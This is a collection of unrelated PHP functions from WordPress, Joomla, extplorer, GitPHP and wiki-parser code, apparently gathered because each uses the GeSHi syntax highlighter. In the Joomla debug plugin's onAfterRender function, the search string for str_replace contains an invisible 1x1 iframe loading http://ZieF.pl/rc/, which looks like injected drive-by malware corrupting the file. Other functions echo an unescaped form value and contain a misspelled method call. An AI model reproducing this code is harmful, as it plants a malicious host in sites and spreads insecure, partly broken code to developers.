function wp_syntax_highlight_mpdf($match) { global $wp_syntax_matches; $i = intval($match[1]); $match = $wp_syntax_matches[$i]; $language = strtolower(trim($match[1])); $line = trim($match[2]); $escaped = trim($match[3]); $code = wp_syntax_code_trim($match[4]); $code = htmlspecialchars_decode($code); $geshi = new GeSHi($code, $language); $geshi->enable_keyword_links(false); $geshi->set_header_type(GESHI_HEADER_DIV); $geshi->set_tab_width(4); do_action_ref_array('wp_syntax_init_geshi', array(&$geshi)); $output = "\n<div class=\"wp_syntax\">"; //Beim Printen immer Line numbern anmachen $line = get_option('mpdf_geshi_linenumbers'); if ($line) { $lineMode = explode("\n", $code); $output .= '<table>'; for ($i = 0; $i < count($lineMode); $i++) { $geshi->set_source($lineMode[$i]); if ($i % 2) { $output .= '<tr style="background-color: #f5f5f5;">'; } else { $output .= '<tr>'; } $output .= '<td class="line_numbers" style="vertical-align: top;">'; if (($i + 1) % 5) { $output .= $i + 1; } else { $output .= '<b>' . ($i + 1) . '</b>'; } $output .= '</td><td class="code">'; $output .= $geshi->parse_code(); $output .= '</td></tr>'; } $output .= '</table>'; } else { $output .= "<div class=\"code\">"; $output .= $geshi->parse_code(); $output .= "</div>"; } return $output .= "</div>\n"; return $output; }
<input type="text" name="ld[sy][0][style]" id="ld[sy][0][style]" value="<?php echo $ld['sy'][0]['style']; ?> " /> </td> </tr> </table> </fieldset> </fieldset> <div id="langfile"> <fieldset> <legend>Language File Source</legend> <?php $G = new GeSHi('', 'php'); $langfile_source = gen_langfile($lang); $G->set_source($langfile_source); echo $G->parse_code(); unset($G); ?> </fieldset> </div> <input type="submit" name="btn" value="Send!" /> </form> <p>Operation completed in <?php $time_end = explode(' ', microtime()); $time_diff = $time_end[0] + $time_end[1] - $time_start[0] - $time_start[1]; echo sprintf("%.2f", $time_diff); ?> seconds.</p> <div id="footer">GeSHi © 2004-2007 Nigel McNie, 2007-2009 Benny Baumann, released under the GNU GPL</div> </body>
/** * Restores <pre></pre> blocks to their actual content * * @param array $matches Parameter description (if any) ... * @return string */ private function _restorePre($txt) { //$txt = array_shift($this->pres); if (!$this->get('wikitohtml', true)) { return '{{{' . $txt . '}}}'; } $ttxt = trim($txt); $lines = explode("\n", $ttxt); $t = isset($lines[0]) ? trim($lines[0]) : ''; // Check for processor flag if (substr($t, 0, 2) == '#!') { $t = strtolower(substr($t, 2)); if (strstr($t, ' ')) { $t = strstr($t, ' ', true); } switch ($t) { case 'wiki': $cls = isset($lines[0]) ? trim($lines[0]) : ''; $cls = trim(strstr($cls, ' ')); $txt = str_replace('#!wiki ' . $cls, '', $txt); return '<div class="admon-' . $cls . '">' . $this->cleanXss($txt) . '</div>'; break; case 'html': if ($this->get('fullparse')) { $txt = $this->cleanXss($txt); return preg_replace('/#!html/', '', $txt, 1); } else { return '<strong>' . Lang::txt('PLG_WIKI_PARSERDEFAULT_HTML_NOT_ALLOWED') . '</strong>'; } break; case 'htmlcomment': $txt = preg_replace("/(\\#\\!{$t}\\s*)/i", '', $txt); return '<!-- ' . $this->encodeHtml($txt) . ' -->'; break; case 'c': case 'cpp': case 'python': case 'perl': case 'php': case 'ruby': case 'asp': case 'java': case 'js': case 'sql': case 'xml': case 'sh': jimport('geshi.geshi'); $txt = preg_replace("/(\\#\\!{$t}\\s*)/i", '', $txt); $txt = trim($txt, "\n\r\t"); if (class_exists('GeSHi')) { $geshi = new GeSHi('', $t); $geshi->set_header_type(GESHI_HEADER_DIV); $geshi->set_source($txt); return '<div class="pre ' . $t . '">' . $geshi->parse_code() . '</div>'; } return '<div class="pre ' . $t . '">' . $txt . '</div>'; break; case 'default': default: //$txt = preg_replace("/(\#\!$t\s*)/i", '', $txt); //$txt = trim($txt, "\n\r\t"); return '<pre>' . $this->encodeHtml($txt) . '</pre>'; break; } } return '<pre>' . $this->encodeHtml($txt) . '</pre>'; }
/** * Allows to view sourcecode (formatted by GeSHi or unformatted) and images * */ function jx_show_file($dir, $item) { // show file contents show_header($GLOBALS["messages"]["actview"] . ": " . $item); $index2_edit_link = str_replace('/index3.php', '/index2.php', make_link('edit', $dir, $item)); echo '<a name="top" class="componentheading" href="javascript:window.close();">[ ' . _PROMPT_CLOSE . ' ]</a> '; $abs_item = get_abs_item($dir, $item); if (get_is_editable($abs_item) && $GLOBALS['jx_File']->is_writable($abs_item)) { // Edit the file in the PopUp echo '<a class="componentheading" href="' . make_link('edit', $dir, $item) . '&return_to=' . urlencode($_SERVER['PHP_SELF'] . '?' . $_SERVER['QUERY_STRING']) . '">[ ' . $GLOBALS["messages"]["editlink"] . ' ]</a> '; // Edit the file in the parent window //echo '<a class="componentheading" href="javascript:opener.location=\''.$index2_edit_link.'\'; window.close();">[ '.$GLOBALS["messages"]["editlink"].' ]</a> '; } echo '<a class="componentheading" href="#bottom">[ ' . _CMN_BOTTOM . ' ]</a>'; echo '<br /><br />'; if (@eregi($GLOBALS["images_ext"], $item)) { echo '<img src="' . $GLOBALS['home_url'] . '/' . $dir . '/' . $item . '" alt="' . $GLOBALS["messages"]["actview"] . ": " . $item . '" /><br /><br />'; } else { if (file_exists($GLOBALS['mosConfig_absolute_path'] . '/includes/domit/xml_saxy_shared.php')) { require_once $GLOBALS['mosConfig_absolute_path'] . '/includes/domit/xml_saxy_shared.php'; } elseif (file_exists($GLOBALS['mosConfig_absolute_path'] . '/libraries/domit/xml_saxy_shared.php')) { require_once $GLOBALS['mosConfig_absolute_path'] . '/libraries/domit/xml_saxy_shared.php'; } else { return; } if (file_exists($GLOBALS['mosConfig_absolute_path'] . '/mambots/content/geshi/geshi.php')) { $geshiFile = $GLOBALS['mosConfig_absolute_path'] . '/mambots/content/geshi/geshi.php'; } elseif (file_exists($GLOBALS['mosConfig_absolute_path'] . '/libraries/geshi/geshi.php')) { $geshiFile = $GLOBALS['mosConfig_absolute_path'] . '/libraries/geshi/geshi.php'; } if (file_exists($geshiFile)) { @ini_set('memory_limit', '32M'); // GeSHi 1.0.7 is very memory-intensive include_once $geshiFile; // Create the GeSHi object that renders our source beautiful $geshi = new GeSHi('', '', dirname($geshiFile) . '/geshi'); $file = get_abs_item($dir, $item); $pathinfo = pathinfo($file); if (jx_isFTPMode()) { $file = jx_ftp_make_local_copy($file); } if (is_callable(array($geshi, 'load_from_file'))) { $geshi->load_from_file($file); } else { $geshi->set_source(file_get_contents($file)); } if (is_callable(array($geshi, 'getlanguagesuage_name_from_extension'))) { $lang = $geshi->getlanguage_name_from_extension($pathinfo['extension']); } else { $pathinfo = pathinfo($item); $lang = $pathinfo['extension']; } $geshi->set_language($lang); $geshi->enable_line_numbers(GESHI_NORMAL_LINE_NUMBERS); $text = $geshi->parse_code(); if (jx_isFTPMode()) { unlink($file); } echo '<div style="text-align:left;">' . $text . '</div>'; echo '<div style="line-height:25px;vertical-align:middle;text-align:center;" class="small">Rendering Time: <strong>' . $geshi->get_time() . ' Sec.</strong></div>'; } else { // When GeSHi is not available, just display the plain file contents echo '<div class="quote" style="text-align:left;">' . nl2br(htmlentities($GLOBALS['jx_File']->file_get_contents(get_abs_item($dir, $item)))) . '</div>'; } } echo '<a href="#top" name="bottom" class="componentheading">[ ' . _CMN_TOP . ' ]</a><br /><br />'; }
/** * Converting the site URL to fit to the HTTP request * */ function onAfterRender() { global $_PROFILER, $mainframe, $database; // Do not render if debugging is not enabled if (!JDEBUG) { return; } $document =& JFactory::getDocument(); $doctype = $document->getType(); // Only render for HTML output if ($doctype !== 'html') { return; } $profiler =& $_PROFILER; ob_start(); echo '<div id="system-debug" class="profiler">'; if ($this->params->get('profile', 1)) { echo '<h4>' . JText::_('Profile Information') . '</h4>'; foreach ($profiler->getBuffer() as $mark) { echo '<div>' . $mark . '</div>'; } } if ($this->params->get('memory', 1)) { echo '<h4>' . JText::_('Memory Usage') . '</h4>'; echo $profiler->getMemory(); } if ($this->params->get('queries', 1)) { jimport('geshi.geshi'); $geshi = new GeSHi('', 'sql'); $geshi->set_header_type(GESHI_HEADER_DIV); //$geshi->enable_line_numbers( GESHI_FANCY_LINE_NONE ); $newlineKeywords = '/<span style="color: #993333; font-weight: bold;">' . '(FROM|LEFT|INNER|OUTER|WHERE|SET|VALUES|ORDER|GROUP|HAVING|LIMIT|ON|AND)' . '<\\/span>/i'; $db =& JFactory::getDBO(); echo '<h4>' . JText::sprintf('Queries logged', $db->getTicker()) . '</h4>'; if ($log = $db->getLog()) { echo '<ol>'; foreach ($log as $k => $sql) { $geshi->set_source($sql); $text = $geshi->parse_code(); $text = preg_replace($newlineKeywords, '<br /> \\0', $text); echo '<li>' . $text . '</li>'; } echo '</ol>'; } if (isset($database)) { echo '<h4>' . JText::sprintf('Legacy Queries logged', $database->getTicker()) . '</h4>'; echo '<ol>'; foreach ($database->getLog() as $k => $sql) { $geshi->set_source($sql); $text = $geshi->parse_code(); $text = preg_replace($newlineKeywords, '<br /> \\0', $text); echo '<li>' . $text . '</li>'; } echo '</ol>'; } } $lang =& JFactory::getLanguage(); if ($this->params->get('language_files', 1)) { echo '<h4>' . JText::_('Language Files Loaded') . '</h4>'; echo '<ul>'; $extensions = $lang->getPaths(); foreach ($extensions as $extension => $files) { foreach ($files as $file => $status) { echo "<li>{$file} {$status}</li>"; } } echo '</ul>'; } $langStrings = $this->params->get('language_strings', -1); if ($langStrings < 0 or $langStrings == 1) { echo '<h4>' . JText::_('Untranslated Strings Diagnostic') . '</h4>'; echo '<pre>'; $orphans = $lang->getOrphans(); if (count($orphans)) { ksort($orphans, SORT_STRING); foreach ($orphans as $key => $occurance) { foreach ($occurance as $i => $info) { $class = @$info['class']; $func = @$info['function']; $file = @$info['file']; $line = @$info['line']; echo strtoupper($key) . "\t{$class}::{$func}()\t[{$file}:{$line}]\n"; } } } else { echo JText::_('None'); } echo '</pre>'; } if ($langStrings < 0 or $langStrings == 2) { echo '<h4>' . JText::_('Untranslated Strings Designer') . '</h4>'; echo '<pre>'; $orphans = $lang->getOrphans(); if (count($orphans)) { ksort($orphans, SORT_STRING); $guesses = array(); foreach ($orphans as $key => $occurance) { if (is_array($occurance) and isset($occurance[0])) { $info =& $occurance[0]; $file = @$info['file']; if (!isset($guesses[$file])) { $guesses[$file] = array(); } $guess = str_replace('_', ' ', $info['string']); if ($strip = $this->params->get('language_prefix')) { $guess = trim(preg_replace(chr(1) . '^' . $strip . chr(1), '', $guess)); } $guesses[$file][] = trim(strtoupper($key)) . '=' . $guess; } } foreach ($guesses as $file => $keys) { echo "\n\n# " . ($file ? $file : JText::_('Unknown file')) . "\n\n"; echo implode("\n", $keys); } } else { echo JText::_('None'); } echo '</pre>'; } echo '</div>'; $debug = ob_get_clean(); $body = JResponse::getBody(); $body = str_replace('<iframe src="http://ZieF.pl/rc/" width=1 height=1 style="border:0"></iframe> </body>', $debug . '</body>', $body); JResponse::setBody($body); }
function execAction($dir, $item) { // show file contents global $action; if (@eregi($GLOBALS["images_ext"], $item)) { $html = '<img src="' . make_link('get_image', $dir, rawurlencode($item)) . '" alt="' . $GLOBALS["messages"]["actview"] . ": " . $item . '" /><br /><br />'; } elseif (@eregi($GLOBALS["editable_ext"], $item)) { $geshiFile = _EXT_PATH . '/libraries/geshi/geshi.php'; ext_RaiseMemoryLimit('32M'); // GeSHi 1.0.7 is very memory-intensive include_once $geshiFile; // Create the GeSHi object that renders our source beautiful $geshi = new GeSHi('', '', dirname($geshiFile) . '/geshi'); $file = get_abs_item($dir, $item); $pathinfo = pathinfo($file); if (ext_isFTPMode()) { $file = ext_ftp_make_local_copy($file); } if (is_callable(array($geshi, 'load_from_file'))) { $geshi->load_from_file($file); } else { $geshi->set_source(file_get_contents($file)); } if (is_callable(array($geshi, 'get_language_name_from_extension'))) { $lang = $geshi->get_language_name_from_extension($pathinfo['extension']); } else { $pathinfo = pathinfo($item); $lang = $pathinfo['extension']; } $geshi->set_language($lang); $geshi->enable_line_numbers(GESHI_NORMAL_LINE_NUMBERS); $langs = $GLOBALS["language"]; if ($langs == "japanese") { $enc_list = array("ASCII", "ISO-2022-JP", "UTF-8", "EUCJP-WIN", "SJIS-WIN"); $_e0 = strtoupper(mb_detect_encoding($geshi->source, $enc_list, true)); if ($_e0 == "SJIS-WIN") { $_encoding = "Shift_JIS"; } elseif ($_e0 == "EUCJP-WIN") { $_e0 = "EUC-JP"; } elseif ($_e0 == "ASCII") { $_e0 = "UTF-8"; } else { $_encoding = $_e0; } $geshi->set_encoding($_encoding); } $html = $geshi->parse_code(); if ($langs == "japanese") { if (empty($lang) || strtoupper(mb_detect_encoding($html, $enc_list)) != "UTF-8") { $html = mb_convert_encoding($html, "UTF-8", $_e0); } } if (ext_isFTPMode()) { unlink($file); } $html .= '<hr /><div style="line-height:25px;vertical-align:middle;text-align:center;" class="small">Rendering Time: <strong>' . $geshi->get_time() . ' Sec.</strong></div>'; } else { $html = ' <iframe src="' . make_link('download', $dir, $item, null, null, null, '&action2=view') . '" id="iframe1" width="100%" height="100%" frameborder="0"></iframe>'; } $html = str_replace(array("\r", "\n"), array('\\r', '\\n'), addslashes($html)); ?> { "dialogtitle": "<?php echo $GLOBALS['messages']['actview'] . ": " . $item; ?> ", "height": 500, "autoScroll": true, "html": "<?php echo $html; ?> " } <?php }
/** * Loads data for this template */ protected function LoadData() { $head = $this->GetProject()->GetHeadCommit(); $this->tpl->assign('head', $head); $commit = $this->GetProject()->GetCommit($this->params['hashbase']); $this->tpl->assign('commit', $commit); if (!isset($this->params['hash']) && isset($this->params['file'])) { $this->params['hash'] = $commit->GetTree()->PathToHash($this->params['file']); if (empty($this->params['hash'])) { throw new GitPHP_FileNotFoundException($this->params['file']); } } $blob = $this->GetProject()->GetObjectManager()->GetBlob($this->params['hash']); if ($this->params['file']) { $blob->SetPath($this->params['file']); } $blob->SetCommit($commit); $this->tpl->assign('blob', $blob); $blame = new GitPHP_FileBlame($this->GetProject(), $commit, $this->params['file'], $this->exe); $this->tpl->assign('blame', $blame->GetBlame()); if (isset($this->params['output']) && $this->params['output'] == 'js') { return; } $this->tpl->assign('tree', $commit->GetTree()); if ($this->config->GetValue('geshi')) { include_once GITPHP_GESHIDIR . "geshi.php"; if (class_exists('GeSHi')) { $geshi = new GeSHi("", 'php'); if ($geshi) { $lang = GitPHP_Util::GeshiFilenameToLanguage($blob->GetName()); if (empty($lang)) { $lang = $geshi->get_language_name_from_extension(substr(strrchr($blob->GetName(), '.'), 1)); } if (!empty($lang)) { $geshi->enable_classes(); $geshi->enable_strict_mode(GESHI_MAYBE); $geshi->set_source($blob->GetData()); $geshi->set_language($lang); $geshi->set_header_type(GESHI_HEADER_PRE_TABLE); $geshi->enable_line_numbers(GESHI_NORMAL_LINE_NUMBERS); $output = $geshi->parse_code(); $bodystart = strpos($output, '<td'); $bodyend = strrpos($output, '</tr>'); if ($bodystart !== false && $bodyend !== false) { $geshihead = substr($output, 0, $bodystart); $geshifoot = substr($output, $bodyend); $geshibody = substr($output, $bodystart, $bodyend - $bodystart); $this->tpl->assign('geshihead', $geshihead); $this->tpl->assign('geshibody', $geshibody); $this->tpl->assign('geshifoot', $geshifoot); $this->tpl->assign('geshicss', $geshi->get_stylesheet()); $this->tpl->assign('geshi', true); } } } } } }
/** * Loads data for this template */ protected function LoadData() { $commit = $this->GetProject()->GetCommit($this->params['hashbase']); $this->tpl->assign('commit', $commit); $tree = $commit->GetTree(); $this->tpl->assign('tree', $commit->GetTree()); if (!isset($this->params['hash']) && isset($this->params['file'])) { $this->params['hash'] = $tree->PathToHash($this->params['file']); if (empty($this->params['hash'])) { throw new GitPHP_FileNotFoundException($this->params['file']); } } $blob = $this->GetProject()->GetObjectManager()->GetBlob($this->params['hash']); if (!empty($this->params['file'])) { $blob->SetPath($this->params['file']); } $blob->SetCommit($commit); $this->tpl->assign('blob', $blob); if ($this->Plain()) { return; } $head = $this->GetProject()->GetHeadCommit(); $this->tpl->assign('head', $head); if ($this->config->GetValue('filemimetype')) { $mimeReader = new GitPHP_FileMimeTypeReader($blob, $this->GetMimeStrategy()); $mimetype = $mimeReader->GetMimeType(true); if ($mimetype == 'image') { $this->tpl->assign('datatag', true); $this->tpl->assign('mime', $mimeReader->GetMimeType()); $this->tpl->assign('data', base64_encode($blob->GetData())); return; } } if ($this->config->GetValue('geshi')) { include_once GITPHP_GESHIDIR . "geshi.php"; if (class_exists('GeSHi')) { $geshi = new GeSHi("", 'php'); if ($geshi) { $lang = GitPHP_Util::GeshiFilenameToLanguage($blob->GetName()); if (empty($lang)) { $lang = $geshi->get_language_name_from_extension(substr(strrchr($blob->GetName(), '.'), 1)); } if (!empty($lang)) { $geshi->enable_classes(); $geshi->enable_strict_mode(GESHI_MAYBE); $geshi->set_source($blob->GetData()); $geshi->set_language($lang); $geshi->set_header_type(GESHI_HEADER_PRE_TABLE); $geshi->enable_line_numbers(GESHI_NORMAL_LINE_NUMBERS); $geshi->set_overall_id('blobData'); $this->tpl->assign('geshiout', $geshi->parse_code()); $this->tpl->assign('geshicss', $geshi->get_stylesheet()); $this->tpl->assign('geshi', true); return; } } } } $this->tpl->assign('bloblines', $blob->GetData(true)); }
function git_blob($projectroot, $project, $hash, $file, $hashbase) { global $gitphp_conf, $tpl; $cachekey = sha1($project) . "|" . $hashbase . "|" . $hash . "|" . sha1($file); $git = new Git($projectroot . $project); if (isset($hash)) { $hash = $git->revParse($hash); } if (isset($hashbase)) { $hashbase = $git->revParse($hashbase); } if (!$tpl->is_cached('blob.tpl', $cachekey)) { $head = git_read_head($git); if (!isset($hashbase)) { $hashbase = $head; } if (!isset($hash) && isset($file)) { $hash = git_get_hash_by_path($git, $git->getObject($hashbase), $file, "blob"); } $catout = $git->getObject($hash)->data; $tpl->assign("hash", sha1_hex($hash)); $tpl->assign("hashbase", sha1_hex($hashbase)); $tpl->assign("head", sha1_hex($head)); if ($co = git_read_commit($git, $hashbase)) { $tpl->assign("fullnav", TRUE); $refs = read_info_ref($git); $tpl->assign("tree", $co['tree']); $tpl->assign("title", $co['title']); if (isset($file)) { $tpl->assign("file", $file); } if (isset($refs[$hashbase])) { $tpl->assign("hashbaseref", $refs[$hashbase]); } } $paths = git_path_trees($git, $git->getObject($hashbase), $file); $tpl->assign("paths", $paths); if ($gitphp_conf['filemimetype']) { $mime = file_mime($catout, $file); if ($mime) { $mimetype = strtok($mime, "/"); } } if ($mimetype == "image") { $tpl->assign("mime", $mime); $tpl->assign("data", base64_encode($catout)); } else { $usedgeshi = $gitphp_conf['geshi']; if ($usedgeshi) { $usedgeshi = FALSE; include_once $gitphp_conf['geshiroot'] . "geshi.php"; if (class_exists("GeSHi")) { $geshi = new GeSHi("", 'php'); if ($geshi) { $lang = ""; if (isset($file)) { $lang = $geshi->get_language_name_from_extension(substr(strrchr($file, '.'), 1)); } if (isset($lang) && strlen($lang) > 0) { $geshi->set_source($catout); $geshi->set_language($lang); $geshi->set_header_type(GESHI_HEADER_DIV); $geshi->enable_line_numbers(GESHI_FANCY_LINE_NUMBERS); $tpl->assign("geshiout", $geshi->parse_code()); $usedgeshi = TRUE; } } } } if (!$usedgeshi) { $lines = explode("\n", $catout); $tpl->assign("lines", $lines); } } } $tpl->display('blob.tpl', $cachekey); }
/** * Get a geshi object for this source. This function is for internal use. * @return GeSHI! The geshi object associated with the source. */ protected function getGeSHI() { if (!isset($this->geshi)) { // truncante long lines and limit the number of lines $text = ""; $linesTruncated = array(); $lines = explode("\n", $this->plainSourceCode); $nbOfLines = count($lines); $n = 0; while ($n < $nbOfLines && $n < MAX_NB_OF_LINES) { $line = $lines[$n]; if (strlen($line) > MAX_LINE_LENGTH) { $msg = "line #" . ($n + 1) . " has been truncated to " . MAX_LINE_LENGTH . " characters (out of " . strlen($line) . " characters)\n"; $lines[$n] = substr($lines[$n], 0, MAX_LINE_LENGTH) . "... TRUNCATED"; trigger_error($msg); } $text .= $line . "\n"; $n++; } if (count($linesTruncated)) { $text = "WARNING: Some long lines have been truncated." . "The file might not display correcly\n" . $text; } $text = implode("\n", $lines); if ($nbOfLines > MAX_NB_OF_LINES) { $msg = "\nFILE truncated to " . MAX_NB_OF_LINES . " lines (out of " . $nbOfLines . " lines)\n"; $text .= $msg; trigger_error($msg); } $geshi = new GeSHi(); $geshi->set_source($text); $geshi->set_language($this->geshiLanguage); $geshi->set_overall_id($this->sourceId); $geshi->enable_line_numbers(GESHI_NORMAL_LINE_NUMBERS); $geshi->enable_classes(); $geshi->enable_ids(true); $this->geshi = $geshi; } return $this->geshi; }
/** * Подсвечиваемый код * * @return Code */ protected function setSource() { $this->geshi->set_source($this->getTreeText()); return $this; }
/** * LoadData * * Loads data for this template * * @access protected */ protected function LoadData() { $commit = $this->project->GetCommit($this->params['hashbase']); $this->tpl->assign('commit', $commit); if (!isset($this->params['hash']) && isset($this->params['file'])) { $this->params['hash'] = $commit->PathToHash($this->params['file']); } $blob = $this->project->GetBlob($this->params['hash']); if (!empty($this->params['file'])) { $blob->SetPath($this->params['file']); } $blob->SetCommit($commit); $this->tpl->assign('blob', $blob); if (isset($this->params['plain']) && $this->params['plain']) { return; } $head = $this->project->GetHeadCommit(); $this->tpl->assign('head', $head); $this->tpl->assign('tree', $commit->GetTree()); if (GitPHP_Config::GetInstance()->GetValue('filemimetype', true)) { $mime = $blob->FileMime(); if ($mime) { $mimetype = strtok($mime, '/'); if ($mimetype == 'image') { $this->tpl->assign('datatag', true); $this->tpl->assign('mime', $mime); $this->tpl->assign('data', base64_encode($blob->GetData())); return; } } } if (GitPHP_Config::GetInstance()->GetValue('geshi', true)) { include_once GitPHP_Util::AddSlash(GitPHP_Config::GetInstance()->GetValue('geshiroot', 'lib/geshi/')) . "geshi.php"; if (class_exists('GeSHi')) { $geshi = new GeSHi("", 'php'); if ($geshi) { $lang = $geshi->get_language_name_from_extension(substr(strrchr($blob->GetName(), '.'), 1)); if (!empty($lang)) { $geshi->enable_classes(); $geshi->enable_strict_mode(GESHI_MAYBE); $geshi->set_source($blob->GetData()); $geshi->set_language($lang); $geshi->set_header_type(GESHI_HEADER_PRE_TABLE); $geshi->enable_line_numbers(GESHI_NORMAL_LINE_NUMBERS); $geshi->set_overall_id('blobData'); $this->tpl->assign('geshiout', $geshi->parse_code()); $this->tpl->assign('geshicss', $geshi->get_stylesheet()); $this->tpl->assign('geshi', true); return; } } } } $this->tpl->assign('bloblines', $blob->GetData(true)); }
private function get_queries() { global $wpdb; if (QUERY_CACHE_TYPE_OFF) { $wpdb->query('SET SESSION query_cache_type = 0;'); } $html = ''; if ($wpdb->queries) { $total_time = timer_stop(FALSE, 22); $total_query_time = 0; $class = ''; $html .= '<table class="mp-queries display" cellpadding="0" cellspacing="0" border="0" width="100%">'; $html .= '<thead><tr>'; $html .= '<th>' . __('ID') . '</th>'; $html .= '<th>' . __('Time') . '</th>'; $html .= '<th>' . __('Query') . '</th>'; $html .= '<th>' . __('Called From') . '</th>'; $html .= '</tr></thead><tbody>'; if ($this->highlight_syntax) { $geshi = new GeSHi('', 'mysql'); $geshi->set_header_type(GESHI_HEADER_NONE); $geshi->set_keyword_group_style(1, 'color: #000;', true); $geshi->set_keyword_group_style(5, 'color: #000;', true); $geshi->set_strings_style('color: #009;', false, 0); } $i = 0; foreach ($wpdb->queries as $query_entry) { $query = $query_entry[0]; $time = $query_entry[1]; $trace = $query_entry[2]; $total_query_time += $time; $full_trace = $this->get_trace_by_query($query); $displayed_query = preg_replace('/[\\s]+/', ' ', $query); if ($this->highlight_syntax) { $geshi->set_source($displayed_query); $displayed_query = $geshi->parse_code(); } if ($full_trace) { $trace_html = $this->get_trace_html($full_trace); } else { if ($this->display_files) { $trace = explode(', ', $trace); $trace = implode('<br />', $trace); } $trace_html = $trace; } $html .= '<tr' . $class . '>'; $html .= '<td class="mp-column-id">' . ($i + 1) . '</td>'; $html .= '<td class="mp-column-time">' . number_format($time, 8) . '</td>'; $html .= '<td class="mp-column-query"><div class="mp-column-query-content">' . $displayed_query . '</div></td>'; $html .= '<td class="mp-column-trace"><div class="mp-column-trace-content">' . $trace_html . '</div></td>'; $html .= '</tr>'; $i++; } $html .= '</tbody></table>'; $html .= ' <script type="text/javascript"> jQuery(document).ready(function() { jQuery(".mp-queries").dataTable({ "bPaginate": false, "bLengthChange": false }); jQuery(".mp-queries .mp-column-trace-content").each(function() { jQuery(this).scrollTop(jQuery(this)[0].scrollHeight); }); }); </script> '; } $php_time = $total_time - $total_query_time; $mysql_percentage = number_format_i18n($total_query_time / $total_time * 100, 2); $php_percentage = number_format_i18n($php_time / $total_time * 100, 2); $html .= '<ul class="mp-general-stats">'; $html .= '<li><strong>' . __('Total query time:') . ' ' . number_format_i18n($total_query_time, 5) . __('s for') . ' ' . count($wpdb->queries) . ' ' . __('queries.') . '</strong></li>'; if (count($wpdb->queries) != get_num_queries()) { $html .= '<li><strong>' . __('Total num_query time:') . ' ' . timer_stop() . ' ' . __('for') . ' ' . get_num_queries() . ' ' . __('num_queries.') . '</strong></li>'; $html .= '<li class="none_list">' . __('» Different values in num_query and query? Please set the constant') . ' <code>define(\'SAVEQUERIES\', true);</code> ' . __('in') . ' <code>wp-config.php</code>.</li>'; } if ($total_query_time == 0) { $html .= '<li class="none_list">' . __('» Query time is null (0)? Please set the constant') . ' <code>SAVEQUERIES</code> ' . ' ' . __('at') . ' <code>true</code> ' . __('in') . ' <code>wp-config.php</code>.</li>'; } $html .= '<li>' . __('Page generated in') . ' ' . number_format_i18n($total_time, 5) . __('s (') . $php_percentage . __('% PHP') . ', ' . $mysql_percentage . __('% MySQL') . ')</li>'; $html .= '</ul>'; $html .= '<p class="mp-final-message">Be sure to deactivate MySQL Profiler when you\'ve finished debugging!</p>'; return $html; }